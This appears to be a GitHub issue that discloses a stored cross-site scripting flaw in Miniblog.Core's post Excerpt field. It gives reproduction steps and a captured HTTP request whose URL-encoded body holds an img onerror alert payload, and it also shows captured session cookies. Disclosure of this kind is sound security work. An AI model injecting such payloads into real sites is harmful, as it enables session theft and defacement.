

New issue

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Cross-Site Scripting (XSS) in "/posts" #178

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A Cross Site Scripting vulnerabilty exists in Miniblog.Core via the Excerpt field in "/posts"

Step to exploit:

1. Login as admin.
2. Navigate to <https://miniblogcore.azurewebsites.net/blog/edit>.
3. Insert XSS payload `` in the "Excerpt" field and click on Save.
4. Go to Home page.

The screenshot shows the 'Miniblog.Core' blog editor interface. The URL in the browser is <https://miniblogcore.azurewebsites.net/blog/edit>. The page title is 'Miniblog.Core' by Mads Kristensen. The form contains the following fields:

- Title:** Test1
- Slug:** test1
- Categories:** , test1
- Tags:** , test
- Excerpt:** ">

At the bottom, there is a rich text editor toolbar with options like Edit, View, Format, Insert, and Table.



| Request | | | Response | | | |
|---|-----|-----|---|-----|-----|--------|
| Pretty | Raw | Hex | Pretty | Raw | Hex | Render |
| <pre>1 POST /blog HTTP/1.1 2 Host: miniblogcore.azurewebsites.net 3 Cookie: .AspNetCore.Antiforgery.w5W7x28NAIs= CfDJ8A_fLEVR8HJNia4ECD_zJTYGMO0GVMunoKo-q2WGVYEmktYC_s0t30PjGgUzRRHxVxmPHLG26NSLUyauT feqLEILh1_jVYtsFDMD85U5sDZL_PQjPARVgWH1LWSx8ThUImqqCNRh93Cb6M8dfyLk; .AspNetCore.Cookies= CfDJ8A_fLEVR8HJNia4ECD_zJTY7oFwakyVjoPQ2RBPVroGhH0_un0tGUGy1oImgsSI7dya0JPndf_AaTZmJ4Ne fvcUYJ4HDJAu1x3z9YZc0oPAq9s5bIquEG1MmuRbJ7Pp190fiskXHmvHcj5bzFrgcFT-EUK6plfmhy84hTvrWAP LwkWje0dLu2d361iRmRBAg0ehCDQ00J0272wF256dEiTyAnTvZX8bdmq-q8IaIyWlUHGByFmC6jeo-YQmda aXW4DXYQ8Z5AiVHReivLz_PRH2w0VM4G0ANJ40D4NJt 4 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0 5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 6 Accept-Language: en-US,en;q=0.5 7 Accept-Encoding: gzip, deflate 8 Referer: https://miniblogcore.azurewebsites.net/blog/edit 9 Content-Type: application/x-www-form-urlencoded 10 Upgrade-Insecure-Requests: 1 11 Origin: https://miniblogcore.azurewebsites.net 12 Content-Length: 455 13 Sec-Fetch-Dest: empty 14 Sec-Fetch-Mode: same-origin 15 Sec-Fetch-Site: same-origin 16 Te: trailers 17 Connection: close 18 19 ID=637949211198447225&Title=Test1&Slug=test1&selectcat=&categories=%2C+test1&selecttag= &tags=%2C+test1&Excerpt=%22%3E%3Cimg+src%3D1+onerror%3Dalert%28%27XSS%27%29%3E&Content= %3Cp%3Etest%3C%2Fp%3E&IsPublished=true&__RequestVerificationToken= CfDJ8A_fLEVR8HJNia4ECD_zJTYQXuwXJW-VTwxkMUZLDcvm9Kj1QLz8Sk0XJlMT53p4PBY3J8m4XGwF-_Z51XB drFxmow4hndZPXLxA0fLEjfdJXQy6DekITGgyQiaf0nRD0hRFO_ikwEnUTr3vHvM_YToqKSS7wWRFpkzWEF7rjD 7EDoeJrWlWIExVr0QdutLJIw&IsPublished=false</pre> | | | <pre>1 HTTP/1.1 302 Found 2 Content-Length: 0 3 Connection: close 4 Date: Mon, 01 Aug 2022 03:26:36 GMT 5 Server: Microsoft-IIS/10.0 6 Location: /blog/test1/ 7 Strict-Transport-Security: max-age=2592000 8 X-Content-Type-Options: nosniff 9 10</pre> | | | |

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant

